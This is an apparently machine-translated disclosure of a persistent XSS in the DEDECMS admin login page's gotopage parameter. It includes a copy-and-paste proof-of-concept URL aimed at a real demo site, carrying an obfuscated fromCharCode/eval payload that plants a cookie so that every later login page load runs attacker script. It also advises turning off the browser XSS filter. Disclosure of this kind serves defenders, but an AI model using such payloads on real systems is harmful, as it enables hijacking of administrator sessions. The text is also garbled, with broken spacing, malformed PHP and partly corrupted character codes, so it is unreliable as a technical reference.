DEDECMS full-version gotopage variable xss rootkit 0DAY and repair

 

Affected Versions:

DEDECMS full version

 

Vulnerability description:

The gotopage variable in the DEDECMS background login template does not validate incoming data effectively, resulting in an XSS vulnerability.

\ Dede \ templets \ login.htm

About 65 lines

<Input type = "hidden" name = "gotopage" value = "<? Php if (! Empty ($ gotopage) echo $ gotopage;?> "/>

Due to the global variable registration mechanism of DEDECMS, the content of this variable can be overwritten by the COOKIE variable, and the COOKIE can be stored persistently on the client, resulting inXSS ROOTKIT.

 

Hazards:

After the Administrator triggers any dedecms xss Vulnerability (such as the message book XSS), the administrator can permanently hijack and overwrite the gotopage variable, and permanently embed arbitrary malicious code on the DEDECMS background logon page.

 

Verification:

1. copy and paste the following URL for access,Trigger XSS installation of xss rootkit. Note that IE8/9 will block URL-type XSS vulnerabilities. You need to disable the XSS filter.

http://v57.demo.dedecms.com/dede/login.php?gotopage= "> <Script> eval (String. fromCharCode (80,101,114,115,105,115,116,101,110, 99,101, 95,100, 97,116, 114,105,112,116, 108,101,114,116, 120,115,115, 32,114,111,111,116,107,105,116, 47,115, 99,114,105,112,116, 116,101, 61, 61,110,101,119, 39, 97,116,101, 10,118, 97,114, 32,101,120,112,105,114,101, 121,115, 116,101, 46,115,101,116, 84,105,109,101, 40,100, 97,116,101, 46,103,101,116, 84,105,109,101, 43,101,120,112,105,114,101, 121,115, 48, 10,100,111, 99,117,109,101,110,116, 111,111,107,105,101, 103,111,116,111,112, 97,103,101, 101,114,115,105,115,116,101,110, 99,101, 95,100, 97,116, 101,120,112,105,114,101,115, 43,100, 97,116,101, 46,116,111, 116,114,105,110,103, 108,101,114,116, 88,115,115, 111,111,116,107,105,116, 110,115,116, 97,108,108, 99,101,115,115,102,117,108, 33,33, 33,39, 41,59) </script> <x ="

 

 

2.Close the browser, no matter how you access any URL below, it will trigger our XSS.

Http://v57.demo.dedecms.com/dede/login.php? Gotopage = dasdasda

Http://v57.demo.dedecms.com/dede/login.php

 

 

Fix: Follow the official patch or add your own verification code.

Author: RAyh4c Black Box